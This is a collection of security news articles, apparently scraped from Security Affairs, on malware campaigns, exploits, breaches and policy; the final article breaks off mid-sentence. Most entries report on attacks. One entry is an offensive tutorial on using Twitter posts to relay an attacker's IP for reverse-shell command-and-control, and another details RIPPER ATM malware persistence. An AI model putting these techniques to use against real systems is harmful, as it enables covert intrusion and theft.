2661_39434 | Today, August 18th, 2015, Microsoft released an emergency patch after being notified of a critical vulnerability in all supported versions of Internet Explorer. All versions of Microsoft Internet Explorer from IE7 to IE11 are affected by this zero-day vulnerability., The vulnerability, referenced by CVE as CVE-2015-2502 or by Microsoft as MS15-093, has been described by Brian Krebsas a “browse-and-get-owned” vulnerability. What this means is that this zero-day vulnerability is essentially exploited in “drive-by” fashion; no user intervention other than browsing a malicious web page will result in the infection of users utilizing vulnerable versions of IE., A vulnerability of this criticality level, with a delivery mechanism that requires no more than a simple click or re-direct has the capability of causing a very large quantity of damage., The zero-day flaw is Actively Being Exploited In-the-Wild, According to Qualys‘ CTO Wolfgang Kandek, this vulnerability is currently being exploited in-the-wild. The delivery mechanisms utilized by threat actors looking to exploit this vulnerability and their methods of increasing their damaging potential can be inferred based on past vulnerability disclosures, however, Qualys has stated that the following methods are being utilized by attackers to carry out these two goals:, As we have observed in the past with the somewhat recent release of several zero-day vulnerabilities in popular software (e.g. Adobe Flash Player), it is only a matter of time before exploit kit integration begins. We should expect to see this vulnerability integrated in top exploit kits very soon; I would be surprised if some of the top players do not integrate this vulnerability into their arsenal within the next 24 hours., , Additionally, even if you do not use Microsoft Internet Explorer, it is recommended that you update the version of IE installed on your (Windows) device., “Windows users should install the patch whether or not they use IE as their main browser, as IE components can be invoked from a variety of applications, such as Microsoft Office.” – Brian Krebs, Note: Windows 10’s Edge browser is not affected by this vulnerability., Where to Retrieve the Emergency Patch, The emergency patch can be downloaded and install both via Windows Update as well as from Microsoft’s website., Sources, Brian Krebs for his fast reporting (as always)
Qualys for reporting on this vulnerability and patch release as well as their research, About the Author Michael Fratello, Edited by Pierluigi Paganini, Pierluigi Paganini, (Security Affairs – Zero-Day, Microsoft) |
6222_68067 | Russian law enforcement investigated fraudulent activities involving gas-station payment systems., Authorities discovered a fraudulent scheme involving dozens of gas-station employees who installed malicious programs on electronic gas pumps to trick customers into paying for more fuel than they pumped into their vehicles., The software allows gas-station employees to deliver between 3 to 7 percent less per gallon of pumped gas., The scam shorted customers between 3-to-7 percent per gallon of gas pumped., “At dozens of gas stations owned by the largest oil companies, FSB officers identified malicious computer programs, thanks to which the owners of cars quietly missed the fuel. At times, “underweight” was up to 7% of the amount of gasoline that was being refueled into the tank. Identify the virus was almost impossible. Their creator and distributor was detained.” reported media outlet Rosbalt., On Saturday, Russian Federal Security Service (FSB) arrested the hacker Denis Zayev. The man was charged with the creation of several programs designed for such kind of frauds., Authorities revealed that the programs were found only on gas stations in the south of the country., According to the authorities, the man was selling the software to gas-station employees. involved in the fraud scheme. Zayev was sharing profits with gas-station employees, it has been estimated that the fraud allowed the hacker and employees to earn “hundreds of millions of rubles.”, The malicious software was undetectable by inspectors and oil companies that monitor gasoline inventory remotely., “At dozens of gas stations, malicious programs were discovered, which made it unnoticeable for customers to undercharge fuel when refueling their cars. “A giant scam covered almost the entire south of Russia,” viruses “were found in dozens of gas stations in the Stavropol Territory, Adygea, Krasnodar Territory, Kalmykia, several republics of the North Caucasus, etc.” continues the Rosbalt.”A whole network was built to steal fuel from ordinary citizens – they did not bear any financial loss, “the source said. “, Zaiev’s software was very sophisticated programs that were injected both into the software of the pumps and into the cash register to modify records., The Rosbalt provided details about the way the programs worked. Every morning, gas-station employees left one of the reservoirs empty (for example, under the guise of maintenance). When a customer made a purchase, the software automatically undercharged him from 3% to 7% of the amount of gasoline purchased. The meter on the column was instructed to display the clients to show that the entire volume of paid fuel was poured into the tank. The stolen gasoline was automatically sent to the tank left empty. The malware virus erased any track of this operation., The fuel was collected in the tank to be sold later by scammers that shared the profits of the sale., Vulnerabilities and cyber attacks involving systems at gas-stations are not a novelty., In January 2014, a criminal organization hit gas station ATMs located in South America. The gang used Bluetooth-enabled skimmers to steal 2 million dollars from customers., Early 2015, experts at Rapid7 revealed that more than 5000 Automated tank gauges (ATGs) used to prevent fuel leaks at gas stations in US were vulnerable to remote cyber attacks., , , Pierluigi Paganini, (Security Affairs – fraud, gas-station) |
5320_59908 | Earlier this week, the security expert Ruben Daniel Dodge published an interesting post on a new technique to deliver malware through PowerPoint files leveraging on mouseover events. Now experts at Trend Micro revealed details of a spam campaign they detected in late May leveraging the technique., Researchers Rubio Wu and Marshall Chen observed the campaign targeting specific organizations in the U.K., Poland, Netherlands, and Sweden., “This technique is employed by a Trojan downloader (detected by Trend Micro as TROJ_POWHOV.A and P2KM_POWHOV.A), which we’ve uncovered in a recent spam email campaign in the EMEA region, especially organizations in the U.K., Poland, Netherlands, and Sweden. Affected industries include manufacturing, device fabrication, education, logistics, and pyrotechnics.” reads the report published by TrendLabs., Malicious messages are disguised as an invoice or purchase order, they have a subject comprising a finance-related word followed by a number., “In some of the spam emails we saw, the subject lines had a pattern—using a financial or transaction-related word (or phrase), such as “fee”, or “purchase orders”, then followed by a serial number. The pattern we saw is “fee #__NUM__”, indicating that the operator, or the service provider that sends the spam email on behalf of the operator, are tracking the spam messages they send.” continues the report., The emails have a malicious PowerPoint Show file attached that opens the document directly in presentation mode., , The malicious content will attempt to run as soon as the user moves the mouse over the presentation, but it is intercepted by the Microsoft Protected View mechanism and needs the user’s interaction to enable the macros., “Once the would-be victim downloads and opens the file, user interaction is needed—hovering over the text or picture embedded with a malicious link (which triggers a mouseover action), and choosing to enable the content to run when prompted by a security notice pop-up. Microsoft disables the content of suspicious files by default—via Protected View for later versions of Office—to mitigate the execution of malicious routines that abuse features in Microsoft Office, such as macros and Object Linking and Embedding (OLE).” states the analysis published by Trend Micro.”Hence, a key ingredient in the infection chain is social engineering—luring the victim into opening the file and enabling the malware-laced content to run on the system.”, Once the macro is executed by the user, the document runs an embedded malicious PowerShell script that downloads another downloader (JS_NEMUCOD.ELDSAUGH) in the form of a JScript Encoded File (JSE). The downloader is tasked to retrieves the final payload, the OTLARD banking Trojan (aka Gootkit), from a command-and-control server., The experts noticed that the number of malicious messages is limited, a circumstance that suggests this campaign may be followed by large-scale attacks leveraging the ‘mouseover’ technique., “And while the numbers aren’t impressive, it can also be construed as a dry run for future campaigns, given the technique’s seeming novelty. It wouldn’t be far-fetched for other malware like ransomware to follow suit, for instance, considering the notoriety of OTLARD/Gootkit’s operators for spreading other threats in their payloads, as well as ransomware’s history with using malware-laced Office documents.” states Trend Micro., The researchers highlighted that this tactic is typical of the Gootkit operators that use to run small campaigns focused on a limited number of countries, before larger attacks., In order to prevent these attacks, users must ensure that Microsoft’s Protected View is enforced and have to be vigilant of the mail that they receive refusing to enable macros., Pierluigi Paganini, (Security Affairs – Gootkit Trojan, malware) |
2386_37565 | Breaking down barriers is the dilemma for investors, companies, EU member states and lawmakers to guarantee an atmosphere of legitimacy on new European cloud trends. The role of EC and EU has a compromise to perform legal priorities in cyberspace and develop digital markets., The European Commission is addressing a new challenge to develop a single digital marketplace in Europe. This political issue in the EU is oriented to expand a growing trend on cloud services by empowering economic and productivity benefits for startups and enterprises., , Currently, data protection laws are creating legislative barriers to implement the addressing proposals on Digital Single Market. The EC has been presented several proposals in May to push for the creation of a single marketplace for digital services across the EU. The objective of the reforms is trying to harmonize European cloud trends. From the point of view of Pearse O’ Donoghue, the European Commission’s (EC) head of software, services and cloud computing, considers necessary to build a single cloud market, which contains easy policies and cloud standards. In fact,, In fact, establishment of the European Cloud Computing Strategy is opening a wide-prominent scenario for Information and Communication Technologies (ICTs) towards to create 2.5 million new jobs., “We need to ensure providers and users have access to the full European market, and the services are in competition with each other, which leads to greater innovation and lower cost,” said Donoghue. Reported by ComputerWeekly, Thus, new benefits and opportunities for entrepreneurship and technology investments can be possible in the EU with a digital single market. Nonetheless, legal barriers must be flexible across the Union, to get a consensus on legal priorities, in order to build a “free flow of data” across European borders., Events on Cloud Computing, such as the Datacloud Europe Event celebrated in Monaco in June 3th, expressed a new opportunity for the EU to create new jobs in the EURO zone and enhancing GDP factors in economic growth., About the Author Francisco Javier Delgado Villarreal, Francisco Javier Delgado Villarreal is a Junior Business Continuity, Cybersecurity and Internet Governance Consultant. His professional experience in Information and Communication Technologies has been developed since 2009 in different arenas, such as International Organizations, Governments and private sector in Ecuador and abroad., Pierluigi Paganini, (Security Affairs – EU, Cloud computing) |
2817_40545 | CloudFlare firms revealed that one of its customers was recently hit by a distributed denial-of-service (DDoS) attack that appeared to leverage a mobile ad network and malicious JavaScript., The experts explained that the DDoS attack relied on a JavaScrip that generates legitimate HTTP requests., The possible exploitation of ad network was discussed two years ago at the Black Hat conference by the experts Jeremiah Grossman and Matt Johansen., , Unfortunately, this kind of DDoS attack is being popular in the hacking community, in April security researchers from the University of California at Berkeley and the University of Toronto have uncovered a powerful weapon of the Chinese Government cyber arsenal, dubbed the Great Cannon, used to hit websites with powerful DDoS attacks. The Great Cannon has been used by Chinese authorities to knock-out two anti-censorship GitHub pages and it can be also used as a hacking tool to silently install malware on the targeted machine., The experts explained that the Great Cannon relies on malicious JavaScript injected into unencrypted traffic in order to carry on DDoS attacks., Another similar DDoS attack was uncovered last week, experts at Imgur discovered that a vulnerability in the platform was exploited by attackers to target the imageboards 4chan and 8chan., Now, CloudFlare noticed a large number of HTTP requests addressing one of its customer’s website, the DDoS attack peaked at over 1 billion requests per hour. The experts observed a total of 4.5 billion requests reaching the content delivery network’s servers on the day of the attack., , The overall number of unique IP addresses originating the requests is 650,000, 99.8 percent these addresses belong to China., Experts at CloudFlare discovered that nearly 80 percent of the requests were originated from mobile devices (mobile apps and browsers commonly used by Chinese users)., “Attacks like this form a new trend,” states a blog post published by CloudFlare. “They present a great danger in the internet — defending against this type of flood is not easy for small website operators.”, “There is no way to know for sure why so many mobile devices visited the attack page, but the most plausible distribution vector seems to be an ad network,” Majkowski wrote. “It seems probable that users were served advertisements containing the malicious JavaScript. These ads were likely showed in iframes in mobile apps, or mobile browsers to people casually browsing the internet.” explained the researcher Marek Majkowski., The experts discovered that the websites from the “Referer” header pointed to an ad aggregator or a link farm. The DDoS attack relies on a JavaScript hosted on these pages and that was able to generate a large number of XMLHttpRequest (XHR) requests., CloudFlare researchers excluded that the DDoS attack was conducted by injecting TCP packets like observing in the DDoS attack conducted by the Great Cannon., CloudFlare provided the following description for the attack scenario:, “It seems the biggest difficulty is not in creating the JavaScript — it is in effectively distributing it. Since an efficient distribution vector is crucial in issuing large floods, up until now I haven’t seen many sizable browser-based floods,” Majkowski added., Pierluigi Paganini, (Security Affairs – DDoS, Java Script) |
6540_71154 | Agent Tesla is a spyware that is used to spy on the victims by collecting keystrokes, system clipboard, screenshots, and credentials from the infected system. To do this, the spyware creates different threads and timer functions in the main function., The experts first discovered the malware in June, when they observed threat actors spreading it via a Microsoft Word document containing an auto-executable malicious VBA Macro., Once the users have enables the macro, the spyware will be installed on the victim’s machine, The mail used in the last campaign contains text that appears not clear and it asks users to double click to enable the clear view., , “As you can see, it asks the victim to double click the blue icon to enable a “clear view.” Once clicked, it extracts an exe file from the embedded object into the system’s temporary folder and runs it. In this case, the exe file is called “POM.exe”.” continues the blog post., When the users click on the blue icon, a POM.exe file written in Visual Basic being extracted from the embedded object, then it is saved to the system’s temporary folder and executed., According to Fortinet, the POM.exe is a sort of installer for the final malware., “Based on my analysis, it’s a kind of installer program. When it runs, it drops two files: “filename.exe” and “filename.vbs” into the “%temp%\subfolder”. It then exits the process after executing the file “filename.vbs”. Below, in figure 4, is the content of “filename.vbs”.” continues the analysis., The variant used in the last campaign is similar to the older one except for the usage of the SMTPS to send the collected data to the attacker’s email box, instead of HTTP POST requests., “However, the way of submitting data to the C&C server has changed. It used to use HTTP POST to send the collected data. In this variant, it uses SMTPS to send the collected data to the attacker’s email box.” continues the analysis., “Based on my analysis, the commands used in the SMTP method include “Passwords Recovered”, “Screen Capture”, and “Keystrokes”, etc. The commands are identified within the email’s “Subject” field. For example:, “System user name/computer name Screen Capture From: victim’s IP”, The attackers used a free Zoho email account for this campaign., Further details, Pierluigi Paganini, (Security Affairs – Agent Tesla, spyware), , |
1652_30339 | A critical vulnerability affects the Android OS versions prior to 5.0 that could be exploited by an attacker to bypass ASLR and run arbitrary code on a target device under specific conditions. The vulnerability was fixed in the latest version of the Google mobile OS, the Lollipop version released earlier this week., The vulnerability resides in java.io.ObjectInputStream that fails to check that the class of an object being deserialized is still conformed the requirements for serializations., , The flaw was discovered by the security researcher Jann Horn that reported it to Google earlier this year., “This means that when ObjectInputStream is used on untrusted inputs, an attacker can cause an instance of any class with a non-private parameterless constructor to be created. All fields of that instance can be set to arbitrary values. The malicious object will then typically either be ignored or cast to a type to which it doesn’t fit, implying that no methods will be called on it and no data from it will be used. However, when it is collected by the GC, the GC will call the object’s finalize method,” states the security advisory from Horn says., “The class android.os.BinderProxy contains a finalize method that calls into native code. This native code will then use the values of two fields of type int/long (depends on the Android version), cast them to pointers and follow them. On Android 4.4.3, this is where one of those pointers ends up. r0 contains the attacker-supplied pointer, and if the attacker can insert data into the process at a known address, he ends up gaining arbitrary code execution in system_server.”, According to the security experts is very difficult to rate the exploitability of the flaw in the Android OS., The number of cyber attacks against Android OS based mobile devices is rapidly increasing and the presence of such vulnerabilities represents an element of concern for security experts. The patch management appears very complicated in some cases for mobile platforms because carriers are responsible for providing updates to end users, but the process is often slow leaving users exposed to cyber threats for long periods., Pierluigi Paganini, (Security Affairs – Android OS, mobile) |
3827_47957 | Many TeamViewer users reported that their systems were accessed by hackers via the popular support tool, but the company denies any security breach., First claims appeared on Reddit, several users reported that unauthorized parties remotely accessed their systems through TeamViewer. In same cases, the mysterious attackers attempted to steal money from users’ PayPal accounts in order to purchase items one-commercee platforms, including eBay. This was possible because victims use to configured to remember credentials for commonly used online services., The mysterious thing is that some users also reported to have been hacked even with a two-factor authentication (2FA) enabled., Below a couple of messages published on the thread in Reddit., –Eric1084, The mouse started moving by itself, attempts to open web browsers. I think that is a definitive proof that someone is trying to gain access to your computer. I took a screenshot of the window just before he disconnected after I asked who it is., , –Morblius 9 punti 16 ore fa* , I only noticed because at 3:00 am someone transferred $3,000 from my paypal account to theirs. I then saw posts about teamviewer being hacked, so I checked the log file in C:\Program Files (x86)\TeamViewer\TeamViewer11_Logfile.log, Many Internet users speculate that the tool was hacked, another possibility is that hackers have identified a zero-day flaw in the popular application. On the other side, the company downplayed both hypotheses explaining that most likely attackers leveraged leaked passwords that were shared by users on multiple web services., “As always when we receive alerts about potential security alerts, we look at the issue at hand. This is what we have done in this case: There is no evidence to suggest that TeamViewer has been hacked. Neither do we have any information that would suggest that there is a security hole in TeamViewer. Therefore it it is important to stress there are no TeamViewer hackers, but rather data thieves that will steal information from other sources. It is critical to make sure attention is not diverted from the real issue.” states the official note released by TeamViewer., I believe that the explanation provided by the company is plausible due to the recent major breaches, including the one suffered by MySpace and LinkedIn, “TeamViewer is safe to use, because TeamViewer has proper security measures in place including end-to-end encryption to prevent man-in-the-middle attacks, anti-brute-force means, and more.” continues TeamViewer,, TeamViewer urges its users to adopt a strong, unique passwords and enable the two-factor authentication on their accounts. Wait a moment, but I told you before that users reported alleged hack even when the 2FA was enabled., Another mysterious circumstance is a service outage suffered by TeamViewer on Wednesday, an incident that someone linked to an alleged cyber attack., Stay Tuned …, If you appreciate my effort in spreading cyber security awareness, please vote for Security Affairs as best European Security Blog. Vote SecurityAffairs in every section it is reported. I’m one of the finalists and I want to demonstrate that the Security Affairs community a great reality., Thank you, Pierluigi, Pierluigi Paganini, (Security Affairs – cyber security, hacking) |
5775_63791 | Another hack involving an Ethereum ICO (Initial Coin Offering) made the headlines, the victim is the Etherparty website that sells tokens for a blockchain-based smart contract tool. The attackers replaced the legitimate address for sending funds to buy tokens with a fraudulent one they controlled., Etherparty is a platform for the creation of smart contract that leverages on the blockchain., Etherparty launched its Fuel token sale on October 1 at 9 A.M. PDT, but just 45 minutes, attackers hacked into the ICO website and replaced the wallet address, hijacking cryptocurrencies sent by investors., According to Etherparty, its staff detected the hack after 15 minutes and in response immediately took the ICO website down for nearly one and half hour preventing more investors from sending funds to the attackers’ wallet., The website displays the following message to investors:, “Always check the URL and verify the contract address before sending ETH to any ICO.”, At the time it is unclear the exact amount of cryptocurrencies stolen by hackers, the company ensured that it will compensate “any affected contributors, with its proprietary FUEL token, prior to the temporary website shutdown at 10 A.M. PDT.”, The blockchain company has also “promised to compensate any affected contributors, with its proprietary FUEL token, prior to the temporary website shutdown at 10 A.M. PDT.” , “One hour after the ICO officially went live, the company identified a security issue, caused by a fraudulent contribution address, and temporarily shut down the website to protect all participants.” reads the press release published by the company on Medium., “Etherparty’s site was later restored after the issue was resolved at 11:35 A.M. PDT, after going offline for 90 minutes. The blockchain company has promised to compensate any affected contributors, with its proprietary FUEL token, prior to the temporary website shutdown at 10 A.M. PDT., , The Etherparty ICO is still ongoing and it will be open until October 29, 2017. According to the company, the ICO had a great start “selling over 10,000,000 FUEL tokens in the first hour.” The company sold more than 400,000,000 FUEL tokens before the official launch in the pre-sale., “Our team has been consistently and successfully thwarting potential security issues to avoid further escalation,” Etherparty Founder Lisa Cheng said.”However, we do acknowledge and apologise for the temporary disruption to our otherwise successful launch day. Etherparty is eager and committed to compensating all affected contributors for the inconvenience.”, In response to the string of incidents the US Securities and Exchange Commission (SEC) issued an official warning about the risks of ICOs, meanwhile, China has already announced a ban on all ICO across the country., Pierluigi Paganini, (Security Affairs – Etherparty ICO, hacking) |
3059_42254 | Today, we will replicate a technique which has been used by recent, sophisticated and hard to trace a Russian malware called Hammertoss, the creators of this malware has abused multiple well-known sites like Twitter and Github to defeat modern firewalls and torture whoever tracing their tracks., In a nutshell, instead of getting a direct reverse connection back to the C&C server similar to what traditional malware does, this smart malware will jump between third party servers to perform its malicious activity, please take two minutes and watch this short explanatory video from Fireeye so you will get a quick overview how the malware works., Before the fun begins, I just want to mention that this code is a part of my new training course on Udemy called “Python for Offensive Pentest: A Complete Practical Course.”, All right, so the first stage of Hammertoss was to connect to a Twitter looking for a tweet created by the hackers which contains a URL for an image and hashtag as a part of the encryption key. Technically speaking, you don’t need to login into Twitter to parse someone’s tweet, so in this case, we just need to figure out the account URL to navigate and the HTML tags which contain the actual tweet, Keep in mind you can add other twitter accounts to hide the original one (which belongs to the hacker)., Obviously you should never your personal account while doing similar stuff, that’s why I created a new account holding my name and here’s is the link to my twitter home page:, Now from my Kali machine, I made a tweet saying “Hello from kali python” then I logged out, at this point once we click on the above URL, we should see something similar to this output, , Now using your browser you can view the HTML source code of this page, in Chrome just do a right click anywhere in the page and select “View page source” or Ctrl+U for short, in the HTML if we search for our tweet, we will get the below HTML line:-, So technically if we code a simple script that will navigate to And retrieve the HTML page, then inside the HTML if we search for meta tag called name that has a value of description and asked for the value of content, then we should be able to grab our tweet., Let’s translate this action to a code:-, 1# Import soupy function from BeautifulSoup library, we will use this function to search for the html tags, 2# Import urllib which will be used to navigate to our twitter page and grab the html for us, 3# Navigate to my twitter home page HussamKhrais, store the HTML page into html variable, 4# Pass it to soupy function so we can parse it, 5# Here we search for the HTML meta tags, 6# Print the result out, The output for running the script would be, , At this point, since we are only interested in having the string between the quotation marks, we can filter it out using regular expression, and that is exactly what the below script will do for us, the “findall” function will grab the string between the ” ” and store it in a list data type called filter, finally we print the exact tweet., After putting all the script pieces together, we got the below result, , Please feel free to download the script and give it a try on your own tweet!, Now think about it for a second, can we use twitter to replace DDNS? Well, what will happen if we replace “Hello from kali python” with the attacker public IP, and each time the attacker IP changes, all what he needs to do is to send a tweet with the new IP to get the reverse connection for his victim!, A question for you…, After reading this article, do you think that can you code in Python a complete AV free remote shell and exfiltrate data without even having a single direct connection with your target? Please share your thoughts., If you are interested on the topic you can go deeper following the course “Python For Offensive PenTest: A Complete Practical Course”, , , About the Author Hussam Khrais, Hussam Khrais is a senior security engineer with over 4 years in penetration testing, Python scripting and network security where he spends countless hours in forging custom hacking tools in Python.
Hussam currently holds the following certificates in information security:-
-GIAC Penetration Testing – GPEN
-Certified Ethical Hacker – CEH
-Cisco Certified Network Professional – Security (CCNP Security), Edited by Pierluigi Paganini, (Security Affairs – Hammertoss, pyton) |
1803_31941 | Yesterday, speaking at the International Conference on Cyber Security (ICCS) at Fordham University in New York, the director of the FBI James Comey confirmed the claim and once again accused the North Korean government for the massive cyber attack against Sony Pictures., ‘he has “very high confidence” Pyongyang was behind it and disclosed new details’ reported FoxNews. “He said U.S. investigators were able to trace emails and Internet posts sent by the Guardians of Peace, the group behind the attack, and link them to North Korea. Comey said most of the time, the group sent emails threatening Sony employees and made various other statements online using proxy servers to disguise where the messages were coming from.”, Speaking about #Sony hack, FBI Director Comey: Not much I have high confidence about. I have very high confidence…on North Korea., — FBI New York (@NewYorkFBI) 7 Gennaio 2015, , It’ s the first time that the FBI discloses this information, in the past the Bureau claimed the North Korea basically from the results of the analysis of the wiper malware used by hackers, the malicious code in fact was written in Korean and presents many similarities with other malicious code used by the government of the North Korea in cyber attacks against the South Korean systems., , , , The investigation is still ongoing, the cyber experts are evaluating how the hackers breached the Sony Pictures network to exfiltrate sensitive data from the corporate. According to early rumors, Sony Pictures had been targeted by “spear phishing” campaigns in previous months., Another topic debated by the FBI director is the wide diffusion of encryption on mobile devices, which is hindering the investigation by law enforcement., “There are significant public safety issues here (and) we need to talk about it,” Comey added., Although all point the finger at North Korea, I find it extremely interesting and plausible to the clarification of the popular expert Jeffrey Carr from his blog doubts the arguments provided by the FBI., “The evidence that the FBI believes it has against the DPRK in the Sony attack stems from the data that it received on the Dark Seoul attack last year from the private sector. The FBI, the NSA, and the private security companies upon which they rely for information believe that any attack linked to a North Korean IP address must be one that is government sanctioned since North Korea maintains such tight control over its Internet and Intranet. That is the FBI’s single point of failure because while that might have been true prior to 2009, it isn’t true any longer. Access to those blocks is relatively easy if you go in through China, Thailand, Japan, Germany or other countries where North Korea has strategic connections“, Stay tuned …, Pierluigi Paganini, (Security Affairs – Sony Pictures, FBI) |
6322_68997 | The Belgian Federal Police has located the command and control server used by a criminal organization behind the Cryakl ransomware. The server was located in an unspecified neighboring country, law enforcement seized it and shared the decryption keys found on the machine with the No More Ransom project., “The Belgian Federal Police is releasing free decryption keys for the Cryakl ransomware today, after working in close cooperation with Kaspersky Lab. The keys were obtained during an ongoing investigation; by sharing the keys with No More Ransom the Belgian Federal Police becomes a new associated partner of the project – the second law enforcement agency after the Dutch National Police.” reads the statement published by the Europol., “Led by the federal prosecutor’s office, the Belgian authorities seized this and other servers while forensic analysis worked to retrieve the decryption keys. Kaspersky Lab provided technical expertise to the Belgian federal prosecutor and has now added these keys to the No More Ransom portal on behalf of the Belgian federal police. This will allow victims to regain access to their encrypted files without having to pay to the criminals.”, The “exponential” rise in Ransomware threat represents a serious problem for users online and it is a profitable business for cyber criminals. The operation NO More Ransom is the response of the Europol of the growing threat., , Victims of Cryakl ransomware can recover encrypted files using the Rakhni Decryptor available for free from Kaspersky Lab or NoMoreRansom at the following URL., The tool works with most versions of the Cryakl ransomware, but researchers at MalwareHunterTeam confirmed that it doesn’t work with CL 1.4.0 and newer (so 1.4.0 is included in what can’t be decrypted)., It has been estimated that the tool has helped more than 35,000 victims of ransomware to decrypt their files for free, an overall loss for crooks of over €10m., “There are now 52 free decryption tools on www.nomoreransom.org, which can be used to decrypt 84 ransomware families. CryptXXX, CrySIS and Dharma are the most detected infections.” continues the statement., The Belgian authorities are still investigating the case., Pierluigi Paganini, (Security Affairs – Cryakl ransomware, cybercrime) |
2243_36483 | A few hours ago, Google released the Password Alert extension that was designed to warn users when they are submitting their Google credentials to fraudulent websites., “Here’s how it works for consumer accounts. Once you’ve installed and initialized Password Alert, Chrome will remember a ‘scrambled’ version of your Google Account password. It only remembers this information for security purposes and doesn’t share it with anyone. If you type your password into a site that isn’t a Google sign-in page, Password Alert will show you a notice like the one below. This alert will tell you that you’re at risk of being phished so you can update your password and protect yourself,” Drew Hintz and Justin Kosslyn of Google wrote in a post on the new extension. , The security community welcomed the news, the extension will allow to reduce the effect of phishing attacks that still represent a serious threat to the end-users., Unfortunately, just a 24 hours after the release of the extension, the satisfaction was ruined by the news that a security researcher has already developed two methods for defeating the new Chrome Password Alert extension., The British expert Paul Moore developed a first method for bypassing the Google extension that relies on Javascript that look on the phishing page for the warning message that Password Alert provides to users and block it., Moore explained to Ars Technica experts that it took him about two minutes to write the seven lines of codes used to bypass the Google Password Alert Extension., , , “The first bypass required just seven lines of code to completely obfuscate the warning that the older Password Alert extension displayed when Chrome users entered their Google account password into a non-Google website. The warning told users their Google password had been intercepted by bad guys and advised users to change it right away. The first exploit relied on a JavaScript-based timer that searches the loaded webpage for instances of Google’s warning screen and simply removes it. Technically, the warning window still appears, but the exploit prevented the user from ever seeing it.” reports Ars Technica., Moore spent more time trying to circumvent the extension, and discovered another method that relies on a race condition in Chrome difficult to fix., “The second exploit will prove quite difficult (if not near impossible) to resolve, as it leverages a race condition in Chrome which I doubt any single extension can remedy. The extension works by detecting each key press and comparing it against a stored, hashed version. When you’ve entered the correct password, Password Alert throws a warning advising the user to change their password,” Moore explained., “In the old version, this warning was handled in the DOM which is obviously vulnerable because the extension and malicious code share the same origin. In the new version, the warning window is handled by the UA itself and, because it’s no longer within the same origin, javascript cannot alter/hide the warning screen. However, we can trick the UA into thinking the user hasn’t entered the password.”, By exploiting this second method an attacker can prevent the Password Alert extension from seeing the whole password., “By refreshing the page after each key press, the UA and event handlers attached to that session never see the entire password, so the warning is never fired,” Moore added. , Also in this case the development of the exploit took a few minutes., “To be honest, I can’t think of way to do it without introducing other, far more serious issues. One possibility is persisting input states across multiple tabs/windows, which I doubt is even possible with tabs/extensions being isolated from each other,” Moore explained., Pierluigi Paganini, (Security Affairs – Password Alert extension, Google) |
2275_36724 | The Internet of things is probably the paradigm that most of all is invading our daily life, smart objects surround us and collect a huge quantity information enlarging our surface of attack. The problem is exacerbated for wearable devices and the level of security they implement., Last victim in order of time it the popular Apple Watch, a developer, in fact, has demonstrated how to hack it and run a full web browser on the device. The developer Comex, author of the JailBreakMe, has published a video PoC in which he shows an Apple Watch running a web browser., , The hack showed in the video is important because it demonstrates that it is possible to get the Watch to run arbitrary code, it is not difficult to image that the Comex is working on a ‘jailbreak’ of the Apple Watch, despite the expert hasn’t anticipated anything on his research., Comex also posted online an image showing, the Watch presenting the iOS dictionary view. Apple has announced that is it already working on a native SDK to open its device to the development community, the SDK will allow coders to develop their apps that run on the Apple Watch rather than through an iPhone app extension like WatchKit., , , Apple confirmed that native third-party Watch apps are coming “later this year”., Stay Tuned …., Pierluigi Paganini, (Security Affairs – Apple Watch, hacking) |
4187_50763 | Earlier this month a malware was used by a criminal organization to steal 12 million baht from ATMs in Thailand., According to FireEye, the malware was uploaded for the first time to the online scanning service VirusTotal on Aug. 23, 2016. The malicious code was uploaded from an IP address in Thailand a few minutes the cyber heist was reported by media., Experts from FireEye who analyzed the malware, dubbed RIPPER because researchers found the “ATMRIPPER” name in the sample, revealed that it implemented techniques not seen before., Hackers belonging to a cybercrime gang from Eastern Europe have stolen over 12 Million Baht (approximately US$346,000) from a 21 ATMs in Thailand., The Central Bank of Thailand (BoT) has issued a warning to all the banks operating in the country about security vulnerabilities that plague roughly 10,000 ATMs. It seems that hackers exploited such flaws to steal cash from the ATMs. The same gang was involved in similar attacks against top eight banks in Taiwan. In Taiwan, the thieves have stolen NT$70 Million ($2.2 Million) in cash forcing the banks to shut down hundreds of their cash machines., The warning issued by the Central Bank of Thailand follows the decision of the Government Savings Bank (GSB) to shut down roughly 3,000 ATMs of its 7,000 machines in response to a recent wave of attacks that targeted its machines., According to FireEye, the RIPPER malware borrows multiple features from other ATM malware:, The RIPPER malware also implements new features, for example, it was designed to target three of the main ATM Vendors worldwide, which is a first., The RIPPER malware interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip, with this mechanism crooks authenticate themselves to the cash machine. This mechanism is uncommon, the Skimmer use this method too., In order to gain persistence, the RIPPER malware uses either a standalone service or masquerade itself as a legitimate ATM process., When the RIPPER is installed as a service, it first killk the process “dbackup.exe”, then replaces it with its binary, then it installs the persistent service “DBackup Service.”, “RIPPER can stop or start the “DBackup Service” with the following arguments:, “service start” or “service stop”, RIPPER also supports the following command line switches:, /autorun: Will Sleep for 10 minutes and then run in the background, waiting for interaction., /install: RIPPER will replace the ATM software running on the ATM as follows:, Upon execution, RIPPER will kill the processes running in memory for the three targeted ATM Vendors via the native Windows “taskkill” tool., RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself. This technique allows the malware to maintain the legitimate program name to avoid suspicion.” continues FireEye., When RIPPER malware is executed without any parameters, it performs a series of actions, such as connecting with the local peripherals (i.e. Cash Dispenser, Card Reader, and the Pinpad)., Then the threat detects a card with a malicious EMV chip it starts a timer to allow a crook to control the ATM via the Pinpad., The crooks can perform multiple malicious actions, including clear logs and shut down the ATM local network interface., Back to the Thailand attacks, below are reported similarities between the RIPPER malware and the malicious code used by the gang., , Pierluigi Paganini, (Security Affairs –banking, RIPPER malware) |
3104_42572 | Intelligence experts suspect that the ISIS has recruited experts with chemistry, physics and computer science degrees to wage attacks with weapons of mass destruction., “ISIS actually has already acquired the knowledge, and in some cases the human expertise, that would allow it to use CBRN materials as weapons of terror.” said Wolfgang Rudischhauser, Director of the Weapons of Mass Destruction Non-Proliferation Centre at NATO., The shocking revelation is included in a report of the European Parliament that confirm the ISIS “may be planning to try to use internationally banned weapons of mass destruction in future attacks.”, The report comes after the recent Paris attacks and claims that the ISIS has already smuggled Weapon of Mass Destruction (WMD) material into Europe., The report confirms the ISIS in recruiting foreign fighters with specific competencies in physics, chemistry and computer science., “ISIL/Da’esh has recruited and continues to recruit hundreds of foreign fighters, including some with degrees in physics, chemistry and computer science, who experts believe have the ability to manufacture lethal weapons from raw substances.”, , The British police forces have been conducting specific exercises to train its personnel to face various types of terrorist attacks, including chemical and biological ones., “The European Union and its Member States must prepare for the possibility of a chemical or biological attack on 